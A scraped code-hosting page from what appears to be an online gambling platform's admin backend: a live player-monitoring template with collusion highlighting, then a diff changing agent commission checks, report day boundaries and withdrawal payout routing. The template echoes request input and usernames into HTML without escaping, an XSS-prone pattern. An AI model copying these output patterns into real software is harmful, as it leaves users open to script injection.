<a class="layui-btn layui-btn-small refresh" style="line-height:1.6em;margin-top:3px;float:right"
href="javascript:location.replace(location.href);" title="刷新">
<i class="layui-icon" style="line-height:30px"></i></a>
</div>
<br>
<div class="x-body">
<div class="layui-row">
<form class="layui-form layui-col-md12 x-so float-left" action="/player/user_online" method="get">
<div class="layui-input-block" >
<select name="table_id" id="table_id">
<option value="-1" selected>请选择桌子</option>
{foreach name="$table_list" item="vo"}
<option value="{$vo.id}" <?php if(isset($get['table_id']) && $get['table_id'] == $vo['id']) {echo 'selected';} ?>>{$vo.table_name}</option>
{/foreach}
</select>
</div>
<input type="text" name="username" id="username" placeholder="请输入用户名" autocomplete="off" class="layui-input" value="<?php if(isset($get['username'])) {echo $get['username'];} ?>">
<div class="layui-form-item" style="margin-bottom: 0px;">
<label class="layui-form-label">只看未开</label>
<div class="layui-input-block">
<input type="radio" class="is_under" name="is_under" value="1" title="是" <?php if(isset($get['is_under']) && $get['is_under'] == 1) {echo 'checked';} ?>>
<input type="radio" class="is_under" name="is_under" value="0" title="否" <?php if(isset($get['is_under']) && $get['is_under'] == 0) {echo 'checked';} ?>>
</div>
</div>
<button class="layui-btn" lay-submit="" lay-filter="sreach"><i class="layui-icon">&#xe615;</i></button>
<!-- <span class="layui-btn" id="export">导出excel</span>
<span class="layui-btn" id="print">打印</span> -->
<span style="margin-left:20px;color:red;">数据标红则疑似对打</span>
</form>
</div>
<table class="layui-table">
<thead>
<tr>
<th>账号</th>
<th>登录客户端</th>
<th>登录IP</th>
<th>总押</th>
<th>总赢</th>
<th>当前余额</th>
<th>下注详情</th>
<th>操作</th>
</tr>
</thead>
<tbody class="ttable">
{foreach name="$user_online" item="vo"}
{if $vo.is_beat == 1}
<tr class="refreshData" style="background:red;">
{else}
<tr class="refreshData">
{/if}
<td>{$vo.username}</td>
<td>{$vo.client}</td>
<td>{$vo.last_login_ip}</td>
<td>{$vo.amount}</td>
<td>{$vo.win_total}</td>
<td>{$vo.money}</td>
<td>
{$vo.bet_detail_first.bet_detail}
{if condition="$vo.bet_detail_count > 1"}
<a href="javascript:;" onclick="showBetDetail(this)" data-username="{$vo.username}" data-bet_detail={$vo.bet_detail}><span class="layui-btn layui-btn-normal layui-btn-mini" style="background:#009688;">更多</span></a>
{/if}
</td>
<td>
<a href="javascript:;">
<span class="layui-btn layui-btn-normal layui-btn-mini" style="background:#009688;" onclick="logout({$vo.user_id})">强制下线</span>
</a>
</td>
</tr>
{/foreach}
<tr class="refreshData">
<th colspan="3" style="text-align: center;">统计</th>
<th>{$totalData.amount}</th>
<th>{$totalData.win_total}</th>
<th colspan="3"></th>
</tr>
</tbody>
</table>
</div>
<audio id="audio" hidden></audio>
<div class="alert" id="alert_bet_detail">
<div class="alert-title" id="show_username"></div>
<div class="alert-main">
<table class="layui-table" style="margin:0;">
<tr><th>押庄赔率:</th><td id="show_price_banker"></td></tr>
<tr><th>押闲赔率:</th><td id="show_price_player"></td></tr>
<tr><th>押和赔率(百家乐):</th><td id="show_price_tie_baccarat"></td></tr>
<tr><th>押对子赔率:</th><td id="show_price_pair"></td></tr>
<tr><th>押龙赔率:</th><td id="show_price_dragon"></td></tr>
<tr><th>押虎赔率:</th><td id="show_price_tiger"></td></tr>
<tr><th>押和赔率(龙虎斗):</th><td id="show_price_tie_dt"></td></tr>
<tr><th>押牛7-牛9赔率:</th><td id="show_price_n7_n9"></td></tr>
<tr><th>押牛牛赔率:</th><td id="show_price_nn"></td></tr>
<tr><th>押五公赔率:</th><td id="show_price_5n"></td></tr>
<tr><th>押四条赔率:</th><td id="show_price_bomb"></td></tr>
</table>
</div>
<div class="alert-footer">
<span onclick="hideBetDetail()" class="input_button" style="background:#009688; border:1px solid #e2e2e2;color:#fff;">关闭</span>
</div>
</div>
<script>
var b = {$betIdArrJson};
var bt = {$betIdDtArrJson};
autoRefresh();
function autoRefresh(){
setInterval(function(){
var username = $('#username').val();
var table_id = $('#table_id').val();
var is_under = $('.is_under:checked').val();
$.ajax({
url:'/player/user_online_autoRefresh',
data:{username:username,table_id:table_id,is_under:is_under},
dataType:'JSON',
type:'POST',
success:function(data){
// 声音
if(data.is_new == true){
audioShow();
}
if(data.user_online){
var total = data.totalData;
var v = data.user_online;
b = data.betIdArr;
bt = data.betIdDtArr;
var str = "";
for(var i=0; i<v.length; i++){
if(v[i]['is_beat'] == 1){
str += '<tr class="refreshData" style="background:red;">';
}else{
str += '<tr class="refreshData">';
}
str += '<td>'+v[i].username+'</td>';
str += '<td>'+v[i].client+'</td>';
str += '<td>'+v[i].last_login_ip+'</td>';
str += '<td>'+v[i].amount+'</td>';
str += '<td>'+v[i].win_total+'</td>';
str += '<td>'+v[i].money+'</td>';
str += '<td>'+v[i].bet_detail_first.bet_detail;
if(v[i].bet_detail_count > 1){
str += '<a href="javascript:;" onclick="showBetDetail(this)" data-username="'+v[i].username+'" data-bet_detail='+JSON.stringify(v[i].bet_detail)+'><span class="layui-btn layui-btn-normal layui-btn-mini" style="background:#009688;">更多</span></a></td>';
}else{
str += '</td>';
}
str += '<td><a href="javascript:;"><span class="layui-btn layui-btn-normal layui-btn-mini" style="background:#009688;" onclick="logout('+v[i].user_id+')">强制下线</span></a> </td>';
str += '</tr>';
}
str += '<tr class="refreshData">';
str += '<th colspan="3" style="text-align: center;">统计</th>';
str += '<th>'+total.amount+'</th>';
str += '<th>'+total.win_total+'</th>';
str += '<th colspan="3"></th>';
str += '</tr>';
$('.refreshData').remove();
$('.ttable').append(str);
}
}
});
},5000);
}
function showBetDetail(obj){
var username = $(obj).attr('data-username');
var bet_detail = $(obj).attr('data-bet_detail');
var v = JSON.parse(bet_detail);
var str = '';
console.log(v)
console.log(b.indexOf(47))
for(var i in v){
if(v[i]['game_id'] == 1 && b.includes(v[i]['bet_id'])){
str += '<tr style="background:red;"><td>'+ v[i]['bet_detail'] +'</td></tr>';
}else if(v[i]['game_id'] == 2 && bt.includes(v[i]['bet_id'])){
str += '<tr style="background:red;"><td>'+ v[i]['bet_detail'] +'</td></tr>';
}else{
str += '<tr><td>'+ v[i]['bet_detail'] +'</td></tr>';
}
}
$('#show_username').html(username);
$('#alert_bet_detail').find('.layui-table').empty().html(str);
$('#alert_bet_detail').show();
}
function hideBetDetail(){
$('#alert_bet_detail').hide();
}
// 踢人
function logout(id){
layer.confirm('确定强制该玩家下线吗?',function(){
$.ajax({
url:'/player/logout',
data:{user_id:id},
type:'POST',
dataType:'JSON',
success:function(data){
layer.alert(data.msg,function(){
location.reload();
})
}
});
});
}
// 新客人上线声音
function audioShow(){
var audio = $("#audio").get(0);
var audioPath = '/static/console/mp3/welcome.mp3';
$('#audio').attr('src',audioPath);
audio.play();
}
</script>
</body>
</html>
View File
View File
View File
View File
View File
View File
View File
View File
View File
View File
View File
View File
View File
View File
View File
BIN
View File
Binary file not shown.
+46 -2
View File
@@ -565,13 +565,25 @@ class Agent Extends Common{
if(!$user || $user['agent'] == 0){ if(!$user || $user['agent'] == 0){
die(json_encode(['code'=>0,'msg'=>$lang['error_id']])); die(json_encode(['code'=>0,'msg'=>$lang['error_id']]));
} }
// 顶级代理(agent_parent_id=0)无真实上级:构造一个不设限的虚拟上级,使所有"不得高于上级"封顶校验自动放行;
// "不得低于下级"封底校验与写入逻辑保持不变(顶级代理仍受其下级最高费率约束)。
if($parent_id <= 0){ if($parent_id <= 0){
die(json_encode(['code'=>0,'msg'=>$lang['parent_error']])); $agentParent = [
} 'limit_low' => 0, 'limit_high' => 99999999999,
'limit_low_tie' => 0, 'limit_high_tie' => 99999999999,
'limit_low_pair' => 0, 'limit_high_pair' => 99999999999,
'limit_low_nn' => 0, 'limit_high_nn' => 0,
'agent_ximalv' => 100, 'agent_ximalv_dt' => 100,
'agent_ximalv_nn' => 100, 'agent_ximalv_tc' => 100,
'agent_cs' => 100, 'rebate_rate' => 100,
'agent_parent_id' => 0,
];
}else{
$agentParent = Db::name('user')->where('id',$parent_id)->find(); $agentParent = Db::name('user')->where('id',$parent_id)->find();
if(!$agentParent || $agentParent['agent'] == 0){ if(!$agentParent || $agentParent['agent'] == 0){
die(json_encode(['code'=>0,'msg'=>$lang['parent_error']])); die(json_encode(['code'=>0,'msg'=>$lang['parent_error']]));
} }
}
if(!$nickname){ if(!$nickname){
die(json_encode(['code'=>0,'msg'=>$lang['empty_nickname']])); die(json_encode(['code'=>0,'msg'=>$lang['empty_nickname']]));
} }
@@ -682,6 +694,38 @@ class Agent Extends Common{
die(json_encode(['code'=>0,'msg'=>$lang['rebate_cannot_lower_agent'].' '.$childMaxRebateRate.'%'])); die(json_encode(['code'=>0,'msg'=>$lang['rebate_cannot_lower_agent'].' '.$childMaxRebateRate.'%']));
} }
// —— 时序风险检测 ——
// 洗码率/返水率/占成率在「下注未结算」期间被修改,结算(openingBet)会按新值参与代理分账,
// 导致本局佣金与下注时预期不符。仅当上述费率确有变化、且该代理下级存在未结算注单时,要求二次确认。
// 限红(limit_*)不参与结算、赔率(price_*)代理端只读,故不在检测范围。
$confirm_pending = Request::instance()->post('confirm_pending');
$rateChanged = (
abs($agent_ximalv - (float)$user['agent_ximalv']) > 0.001 ||
abs($agent_ximalv_dt - (float)$user['agent_ximalv_dt']) > 0.001 ||
abs($agent_ximalv_nn - (float)$user['agent_ximalv_nn']) > 0.001 ||
abs($agent_ximalv_tc - (float)$user['agent_ximalv_tc']) > 0.001 ||
abs($agent_cs - (float)$user['agent_cs']) > 0.001 ||
abs((float)$rebate_rate - (float)$user['rebate_rate']) > 0.001
);
if($rateChanged && !$confirm_pending){
// bet 表位于 DB2 连接(与 Report 模块一致);下级注单路径匹配沿用全站约定的两段 LIKE。
// create_time 限定近 1 小时,规避历史异常残留的 is_end=0 注单造成的误报。
$pendingCount = Db::connect('DB2')->name('bet')
->where('is_end', 0)
->where('create_time', '>=', time() - 3600)
->where(function($q) use ($user_id){
$q->where('agent_parent_id_path', 'like', '%,'.$user_id.',%')
->whereOr('agent_parent_id_path', 'like', $user_id.',%');
})
->count();
if($pendingCount > 0){
die(json_encode([
'code' => 2,
'pending' => $pendingCount,
'msg' => '该代理下级当前有 '.$pendingCount.' 笔注单尚未结算。本次修改的洗码率 / 返水率 / 占成率将按新值参与这些注单的代理分账,可能使本局佣金与下注时预期不符。确定仍要立即保存吗?',
]));
}
}
// 拼装数据创建代理 // 拼装数据创建代理
$user_data = array(); $user_data = array();
+2 -2
View File
@@ -260,13 +260,13 @@ class Login extends Controller {
if($startDate){ if($startDate){
$startTime = strtotime($startDate); $startTime = strtotime($startDate);
}else{ }else{
$startTime = strtotime(date('Y-m-d')); $startTime = strtotime(date('Y-m-d') . ' 08:00:00');
$get['startDate'] = date('Y-m-d H:i:s',$startTime); $get['startDate'] = date('Y-m-d H:i:s',$startTime);
} }
if($endDate){ if($endDate){
$endTime = strtotime($endDate); $endTime = strtotime($endDate);
}else{ }else{
$endTime = time(); $endTime = strtotime(date('Y-m-d', strtotime('+1 day')) . ' 07:59:59');
$get['endDate'] = date('Y-m-d H:i:s',$endTime); $get['endDate'] = date('Y-m-d H:i:s',$endTime);
} }
$where = array(); $where = array();
+1 -3
View File
@@ -760,9 +760,7 @@ class Player Extends Common{
$user_data['agent_ximalv_nn'] = $agent_ximalv_nn; $user_data['agent_ximalv_nn'] = $agent_ximalv_nn;
$user_data['agent_ximalv_tc'] = $agent_ximalv_tc; $user_data['agent_ximalv_tc'] = $agent_ximalv_tc;
$user_data['manager_id'] = $manager_id; $user_data['manager_id'] = $manager_id;
if ($rebate_rate){ $user_data['rebate_rate'] = $rebate_rate ?: 0;
$user_data['rebate_rate'] = $rebate_rate;
}
$user_data['update_time'] = time(); $user_data['update_time'] = time();
$user_data['remarks'] = $remark; $user_data['remarks'] = $remark;
$result = Db::name('user')->where('id',$user_id)->update($user_data); $result = Db::name('user')->where('id',$user_id)->update($user_data);
+70 -43
View File
@@ -2,6 +2,7 @@
namespace app\agent\controller; namespace app\agent\controller;
use pay\Usdt; use pay\Usdt;
use pay\Ybf; use pay\Ybf;
use pay\AlinPay;
use \think\Controller; use \think\Controller;
use think\Lang; use think\Lang;
use \think\Session; use \think\Session;
@@ -35,17 +36,17 @@ class Report Extends Common{
$game_id = intval(Request::instance()->get('game_id')); $game_id = intval(Request::instance()->get('game_id'));
$export = intval(Request::instance()->get('export')); $export = intval(Request::instance()->get('export'));
// 转换日期时间(默认:今天07:00:00 ~ 明天06:59:59 // 转换日期时间(默认:今天08:00:00 ~ 明天07:59:59
if ($startDate) { if ($startDate) {
$startTime = strtotime($startDate); $startTime = strtotime($startDate);
} else { } else {
$startTime = strtotime(date('Y-m-d') . ' 07:00:00'); $startTime = strtotime(date('Y-m-d') . ' 08:00:00');
$get['startDate'] = date('Y-m-d H:i:s', $startTime); $get['startDate'] = date('Y-m-d H:i:s', $startTime);
} }
if ($endDate) { if ($endDate) {
$endTime = strtotime($endDate); $endTime = strtotime($endDate);
} else { } else {
$endTime = strtotime(date('Y-m-d', strtotime('+1 day')) . ' 06:59:59'); $endTime = strtotime(date('Y-m-d', strtotime('+1 day')) . ' 07:59:59');
$get['endDate'] = date('Y-m-d H:i:s', $endTime); $get['endDate'] = date('Y-m-d H:i:s', $endTime);
} }
@@ -308,14 +309,14 @@ class Report Extends Common{
if($startDate){ if($startDate){
$startTime = strtotime($startDate); $startTime = strtotime($startDate);
}else{ }else{
$startTime = strtotime(date('Y-m-d')); $startTime = strtotime(date('Y-m-d') . ' 08:00:00');
$get['startDate'] = date('Y-m-d H:i:s',$startTime); $get['startDate'] = date('Y-m-d H:i:s',$startTime);
$this->assign('get',$get); $this->assign('get',$get);
} }
if($endDate){ if($endDate){
$endTime = strtotime($endDate); $endTime = strtotime($endDate);
}else{ }else{
$endTime = time(); $endTime = strtotime(date('Y-m-d', strtotime('+1 day')) . ' 07:59:59');
$get['endDate'] = date('Y-m-d H:i:s',$endTime); $get['endDate'] = date('Y-m-d H:i:s',$endTime);
$this->assign('get',$get); $this->assign('get',$get);
} }
@@ -504,13 +505,13 @@ class Report Extends Common{
if($startDate){ if($startDate){
$startTime = strtotime($startDate); $startTime = strtotime($startDate);
}else{ }else{
$startTime = strtotime(date('Y-m-d')); $startTime = strtotime(date('Y-m-d') . ' 08:00:00');
$get['startDate'] = date('Y-m-d H:i:s',$startTime); $get['startDate'] = date('Y-m-d H:i:s',$startTime);
} }
if($endDate){ if($endDate){
$endTime = strtotime($endDate); $endTime = strtotime($endDate);
}else{ }else{
$endTime = time(); $endTime = strtotime(date('Y-m-d', strtotime('+1 day')) . ' 07:59:59');
$get['endDate'] = date('Y-m-d H:i:s',$endTime); $get['endDate'] = date('Y-m-d H:i:s',$endTime);
} }
@@ -1031,13 +1032,13 @@ class Report Extends Common{
if($startDate){ if($startDate){
$startTime = strtotime($startDate); $startTime = strtotime($startDate);
}else{ }else{
$startTime = strtotime(date('Y-m-d')); $startTime = strtotime(date('Y-m-d') . ' 08:00:00');
$get['startDate'] = date('Y-m-d H:i:s',$startTime); $get['startDate'] = date('Y-m-d H:i:s',$startTime);
} }
if($endDate){ if($endDate){
$endTime = strtotime($endDate); $endTime = strtotime($endDate);
}else{ }else{
$endTime = time(); $endTime = strtotime(date('Y-m-d', strtotime('+1 day')) . ' 07:59:59');
$get['endDate'] = date('Y-m-d H:i:s',$endTime); $get['endDate'] = date('Y-m-d H:i:s',$endTime);
} }
@@ -2053,14 +2054,14 @@ class Report Extends Common{
if($startDate){ if($startDate){
$startTime = strtotime($startDate); $startTime = strtotime($startDate);
}else{ }else{
$startTime = strtotime(date('Y-m-d')); $startTime = strtotime(date('Y-m-d') . ' 08:00:00');
$get['startDate'] = date('Y-m-d H:i:s',$startTime); $get['startDate'] = date('Y-m-d H:i:s',$startTime);
$this->assign('get',$get); $this->assign('get',$get);
} }
if($endDate){ if($endDate){
$endTime = strtotime($endDate); $endTime = strtotime($endDate);
}else{ }else{
$endTime = time(); $endTime = strtotime(date('Y-m-d', strtotime('+1 day')) . ' 07:59:59');
$get['endDate'] = date('Y-m-d H:i:s',$endTime); $get['endDate'] = date('Y-m-d H:i:s',$endTime);
$this->assign('get',$get); $this->assign('get',$get);
} }
@@ -2171,14 +2172,14 @@ class Report Extends Common{
if($startDate){ if($startDate){
$startTime = strtotime($startDate); $startTime = strtotime($startDate);
}else{ }else{
$startTime = strtotime(date('Y-m-d')); $startTime = strtotime(date('Y-m-d') . ' 08:00:00');
$get['startDate'] = date('Y-m-d H:i:s',$startTime); $get['startDate'] = date('Y-m-d H:i:s',$startTime);
$this->assign('get',$get); $this->assign('get',$get);
} }
if($endDate){ if($endDate){
$endTime = strtotime($endDate); $endTime = strtotime($endDate);
}else{ }else{
$endTime = time(); $endTime = strtotime(date('Y-m-d', strtotime('+1 day')) . ' 07:59:59');
$get['endDate'] = date('Y-m-d H:i:s',$endTime); $get['endDate'] = date('Y-m-d H:i:s',$endTime);
$this->assign('get',$get); $this->assign('get',$get);
} }
@@ -2268,14 +2269,14 @@ class Report Extends Common{
if($startDate){ if($startDate){
$startTime = strtotime($startDate); $startTime = strtotime($startDate);
}else{ }else{
$startTime = strtotime(date('Y-m-d')); $startTime = strtotime(date('Y-m-d') . ' 08:00:00');
$get['startDate'] = date('Y-m-d H:i:s',$startTime); $get['startDate'] = date('Y-m-d H:i:s',$startTime);
$this->assign('get',$get); $this->assign('get',$get);
} }
if($endDate){ if($endDate){
$endTime = strtotime($endDate); $endTime = strtotime($endDate);
}else{ }else{
$endTime = time(); $endTime = strtotime(date('Y-m-d', strtotime('+1 day')) . ' 07:59:59');
$get['endDate'] = date('Y-m-d H:i:s',$endTime); $get['endDate'] = date('Y-m-d H:i:s',$endTime);
$this->assign('get',$get); $this->assign('get',$get);
} }
@@ -2644,8 +2645,8 @@ class Report Extends Common{
die(json_encode(['code'=>0,'msg'=>'非待审核状态无法操作!'])); die(json_encode(['code'=>0,'msg'=>'非待审核状态无法操作!']));
} }
// 审核通过 // 审核通过 - 根据提现记录的支付渠道路由
$withdrawChannel = "YBF"; $withdrawChannel = $withdraw['pay_channel'] ?: 'YBF';
$withdrawResult = []; $withdrawResult = [];
if($withdrawChannel == "USDT"){ if($withdrawChannel == "USDT"){
$Usdt = new Usdt(); $Usdt = new Usdt();
@@ -2665,13 +2666,35 @@ class Report Extends Common{
'type' => 'YBF', 'type' => 'YBF',
'err_msg' => $res['message'], 'err_msg' => $res['message'],
]; ];
}else if($withdrawChannel == "ALIN_VN"){
// 越南AlinPay代付
$ext = json_decode($withdraw['ext'], true) ?: [];
$pay_list = config('pay_list');
$notifyUrl = $pay_list['alinPay']['payment_notify_url'];
$alinPay = new AlinPay();
$res = $alinPay->createPayment(
$withdraw['order_no'],
sprintf('%.2f', $withdraw['amount']),
$ext['accountName'] ?? '',
$ext['accountNumber'] ?? '',
$ext['bankCode'] ?? '',
$ext['bankName'] ?? '',
$notifyUrl
);
$withdrawResult = [
'status' => (is_array($res) && isset($res['code']) && $res['code'] == 200) ? true : false,
'type' => 'ALIN_VN',
'out_trade_no' => $res['data']['trade_no'] ?? '',
'err_msg' => $res['message'] ?? '请求失败',
];
} }
if(empty($withdrawResult)){ if(empty($withdrawResult)){
die(json_encode(['code'=>0,'msg'=>'未配置支付渠道!'])); die(json_encode(['code'=>0,'msg'=>'未配置支付渠道!']));
} }
if($withdrawResult['status']){ if($withdrawResult['status']){
Db::name('user_withdraw')->where('id',$id)->update([ $updateData = [
'status' => 'AGREE', 'status' => 'AGREE',
'type' => $withdrawResult['type'] ?? '', 'type' => $withdrawResult['type'] ?? '',
'from_address' => $withdrawResult['from_address'] ?? '', 'from_address' => $withdrawResult['from_address'] ?? '',
@@ -2680,7 +2703,11 @@ class Report Extends Common{
'operator_id' => $user_info['id'], 'operator_id' => $user_info['id'],
'operator_username' => $user_info['username'], 'operator_username' => $user_info['username'],
'operator_nickname' => $user_info['nickname'] 'operator_nickname' => $user_info['nickname']
]); ];
if(!empty($withdrawResult['out_trade_no'])){
$updateData['out_trade_no'] = $withdrawResult['out_trade_no'];
}
Db::name('user_withdraw')->where('id',$id)->update($updateData);
die(json_encode(['code'=>1,'msg'=>'审核通过!'])); die(json_encode(['code'=>1,'msg'=>'审核通过!']));
}else{ }else{
Db::startTrans(); Db::startTrans();
@@ -2792,14 +2819,14 @@ class Report Extends Common{
if($startDate){ if($startDate){
$startTime = strtotime($startDate); $startTime = strtotime($startDate);
}else{ }else{
$startTime = strtotime(date('Y-m-d')); $startTime = strtotime(date('Y-m-d') . ' 08:00:00');
$get['startDate'] = date('Y-m-d H:i:s',$startTime); $get['startDate'] = date('Y-m-d H:i:s',$startTime);
$this->assign('get',$get); $this->assign('get',$get);
} }
if($endDate){ if($endDate){
$endTime = strtotime($endDate); $endTime = strtotime($endDate);
}else{ }else{
$endTime = time(); $endTime = strtotime(date('Y-m-d', strtotime('+1 day')) . ' 07:59:59');
$get['endDate'] = date('Y-m-d H:i:s',$endTime); $get['endDate'] = date('Y-m-d H:i:s',$endTime);
$this->assign('get',$get); $this->assign('get',$get);
} }
@@ -2842,13 +2869,13 @@ class Report Extends Common{
if ($startDate) { if ($startDate) {
$startTime = strtotime($startDate); $startTime = strtotime($startDate);
} else { } else {
$startTime = strtotime(date('Y-m-d')); $startTime = strtotime(date('Y-m-d') . ' 08:00:00');
$get['startDate'] = date('Y-m-d H:i:s', $startTime); $get['startDate'] = date('Y-m-d H:i:s', $startTime);
} }
if ($endDate) { if ($endDate) {
$endTime = strtotime($endDate); $endTime = strtotime($endDate);
} else { } else {
$endTime = time(); $endTime = strtotime(date('Y-m-d', strtotime('+1 day')) . ' 07:59:59');
$get['endDate'] = date('Y-m-d H:i:s', $endTime); $get['endDate'] = date('Y-m-d H:i:s', $endTime);
} }
@@ -3048,14 +3075,14 @@ class Report Extends Common{
if ($startDate) { if ($startDate) {
$startTime = strtotime($startDate); $startTime = strtotime($startDate);
} else { } else {
$startTime = strtotime(date('Y-m-d')); $startTime = strtotime(date('Y-m-d') . ' 08:00:00');
$get['startDate'] = date('Y-m-d H:i:s', $startTime); $get['startDate'] = date('Y-m-d H:i:s', $startTime);
$this->assign('get', $get); $this->assign('get', $get);
} }
if ($endDate) { if ($endDate) {
$endTime = strtotime($endDate); $endTime = strtotime($endDate);
} else { } else {
$endTime = time(); $endTime = strtotime(date('Y-m-d', strtotime('+1 day')) . ' 07:59:59');
$get['endDate'] = date('Y-m-d H:i:s', $endTime); $get['endDate'] = date('Y-m-d H:i:s', $endTime);
$this->assign('get', $get); $this->assign('get', $get);
} }
@@ -3141,14 +3168,14 @@ class Report Extends Common{
if ($startDate) { if ($startDate) {
$startTime = strtotime($startDate); $startTime = strtotime($startDate);
} else { } else {
$startTime = strtotime(date('Y-m-d')); $startTime = strtotime(date('Y-m-d') . ' 08:00:00');
$get['startDate'] = date('Y-m-d H:i:s', $startTime); $get['startDate'] = date('Y-m-d H:i:s', $startTime);
$this->assign('get', $get); $this->assign('get', $get);
} }
if ($endDate) { if ($endDate) {
$endTime = strtotime($endDate); $endTime = strtotime($endDate);
} else { } else {
$endTime = time(); $endTime = strtotime(date('Y-m-d', strtotime('+1 day')) . ' 07:59:59');
$get['endDate'] = date('Y-m-d H:i:s', $endTime); $get['endDate'] = date('Y-m-d H:i:s', $endTime);
$this->assign('get', $get); $this->assign('get', $get);
} }
@@ -3248,14 +3275,14 @@ class Report Extends Common{
if ($startDate) { if ($startDate) {
$startTime = strtotime($startDate); $startTime = strtotime($startDate);
} else { } else {
$startTime = strtotime(date('Y-m-d')); $startTime = strtotime(date('Y-m-d') . ' 08:00:00');
$get['startDate'] = date('Y-m-d H:i:s', $startTime); $get['startDate'] = date('Y-m-d H:i:s', $startTime);
$this->assign('get', $get); $this->assign('get', $get);
} }
if ($endDate) { if ($endDate) {
$endTime = strtotime($endDate); $endTime = strtotime($endDate);
} else { } else {
$endTime = time(); $endTime = strtotime(date('Y-m-d', strtotime('+1 day')) . ' 07:59:59');
$get['endDate'] = date('Y-m-d H:i:s', $endTime); $get['endDate'] = date('Y-m-d H:i:s', $endTime);
$this->assign('get', $get); $this->assign('get', $get);
} }
@@ -3339,14 +3366,14 @@ class Report Extends Common{
if ($startDate) { if ($startDate) {
$startTime = strtotime($startDate); $startTime = strtotime($startDate);
} else { } else {
$startTime = strtotime(date('Y-m-d')); $startTime = strtotime(date('Y-m-d') . ' 08:00:00');
$get['startDate'] = date('Y-m-d H:i:s', $startTime); $get['startDate'] = date('Y-m-d H:i:s', $startTime);
$this->assign('get', $get); $this->assign('get', $get);
} }
if ($endDate) { if ($endDate) {
$endTime = strtotime($endDate); $endTime = strtotime($endDate);
} else { } else {
$endTime = time(); $endTime = strtotime(date('Y-m-d', strtotime('+1 day')) . ' 07:59:59');
$get['endDate'] = date('Y-m-d H:i:s', $endTime); $get['endDate'] = date('Y-m-d H:i:s', $endTime);
$this->assign('get', $get); $this->assign('get', $get);
} }
@@ -3452,14 +3479,14 @@ class Report Extends Common{
if ($startDate) { if ($startDate) {
$startTime = strtotime($startDate); $startTime = strtotime($startDate);
} else { } else {
$startTime = strtotime(date('Y-m-d')); $startTime = strtotime(date('Y-m-d') . ' 08:00:00');
$get['startDate'] = date('Y-m-d H:i:s', $startTime); $get['startDate'] = date('Y-m-d H:i:s', $startTime);
$this->assign('get', $get); $this->assign('get', $get);
} }
if ($endDate) { if ($endDate) {
$endTime = strtotime($endDate); $endTime = strtotime($endDate);
} else { } else {
$endTime = time(); $endTime = strtotime(date('Y-m-d', strtotime('+1 day')) . ' 07:59:59');
$get['endDate'] = date('Y-m-d H:i:s', $endTime); $get['endDate'] = date('Y-m-d H:i:s', $endTime);
$this->assign('get', $get); $this->assign('get', $get);
} }
@@ -3547,14 +3574,14 @@ class Report Extends Common{
if ($startDate) { if ($startDate) {
$startTime = strtotime($startDate); $startTime = strtotime($startDate);
} else { } else {
$startTime = strtotime(date('Y-m-d')); $startTime = strtotime(date('Y-m-d') . ' 08:00:00');
$get['startDate'] = date('Y-m-d H:i:s', $startTime); $get['startDate'] = date('Y-m-d H:i:s', $startTime);
$this->assign('get', $get); $this->assign('get', $get);
} }
if ($endDate) { if ($endDate) {
$endTime = strtotime($endDate); $endTime = strtotime($endDate);
} else { } else {
$endTime = time(); $endTime = strtotime(date('Y-m-d', strtotime('+1 day')) . ' 07:59:59');
$get['endDate'] = date('Y-m-d H:i:s', $endTime); $get['endDate'] = date('Y-m-d H:i:s', $endTime);
$this->assign('get', $get); $this->assign('get', $get);
} }
@@ -3656,14 +3683,14 @@ class Report Extends Common{
if($startDate){ if($startDate){
$startTime = strtotime($startDate); $startTime = strtotime($startDate);
}else{ }else{
$startTime = strtotime(date('Y-m-d')); $startTime = strtotime(date('Y-m-d') . ' 08:00:00');
$get['startDate'] = date('Y-m-d H:i:s',$startTime); $get['startDate'] = date('Y-m-d H:i:s',$startTime);
$this->assign('get',$get); $this->assign('get',$get);
} }
if($endDate){ if($endDate){
$endTime = strtotime($endDate); $endTime = strtotime($endDate);
}else{ }else{
$endTime = time(); $endTime = strtotime(date('Y-m-d', strtotime('+1 day')) . ' 07:59:59');
$get['endDate'] = date('Y-m-d H:i:s',$endTime); $get['endDate'] = date('Y-m-d H:i:s',$endTime);
$this->assign('get',$get); $this->assign('get',$get);
} }
@@ -3868,14 +3895,14 @@ class Report Extends Common{
if($startDate){ if($startDate){
$startTime = strtotime($startDate); $startTime = strtotime($startDate);
}else{ }else{
$startTime = strtotime(date('Y-m-d')); $startTime = strtotime(date('Y-m-d') . ' 08:00:00');
$get['startDate'] = date('Y-m-d H:i:s',$startTime); $get['startDate'] = date('Y-m-d H:i:s',$startTime);
$this->assign('get',$get); $this->assign('get',$get);
} }
if($endDate){ if($endDate){
$endTime = strtotime($endDate); $endTime = strtotime($endDate);
}else{ }else{
$endTime = time(); $endTime = strtotime(date('Y-m-d', strtotime('+1 day')) . ' 07:59:59');
$get['endDate'] = date('Y-m-d H:i:s',$endTime); $get['endDate'] = date('Y-m-d H:i:s',$endTime);
$this->assign('get',$get); $this->assign('get',$get);
} }
@@ -3967,14 +3994,14 @@ class Report Extends Common{
if($startDate){ if($startDate){
$startTime = strtotime($startDate); $startTime = strtotime($startDate);
}else{ }else{
$startTime = strtotime(date('Y-m-d')); $startTime = strtotime(date('Y-m-d') . ' 08:00:00');
$get['startDate'] = date('Y-m-d H:i:s',$startTime); $get['startDate'] = date('Y-m-d H:i:s',$startTime);
$this->assign('get',$get); $this->assign('get',$get);
} }
if($endDate){ if($endDate){
$endTime = strtotime($endDate); $endTime = strtotime($endDate);
}else{ }else{
$endTime = time(); $endTime = strtotime(date('Y-m-d', strtotime('+1 day')) . ' 07:59:59');
$get['endDate'] = date('Y-m-d H:i:s',$endTime); $get['endDate'] = date('Y-m-d H:i:s',$endTime);
$this->assign('get',$get); $this->assign('get',$get);
} }
@@ -4073,14 +4100,14 @@ class Report Extends Common{
if($startDate){ if($startDate){
$startTime = strtotime($startDate); $startTime = strtotime($startDate);
}else{ }else{
$startTime = strtotime(date('Y-m-d')); $startTime = strtotime(date('Y-m-d') . ' 08:00:00');
$get['startDate'] = date('Y-m-d H:i:s',$startTime); $get['startDate'] = date('Y-m-d H:i:s',$startTime);
$this->assign('get',$get); $this->assign('get',$get);
} }
if($endDate){ if($endDate){
$endTime = strtotime($endDate); $endTime = strtotime($endDate);
}else{ }else{
$endTime = time(); $endTime = strtotime(date('Y-m-d', strtotime('+1 day')) . ' 07:59:59');
$get['endDate'] = date('Y-m-d H:i:s',$endTime); $get['endDate'] = date('Y-m-d H:i:s',$endTime);
$this->assign('get',$get); $this->assign('get',$get);
} }
+8 -8
View File
@@ -30,12 +30,12 @@ class Settle Extends Common{
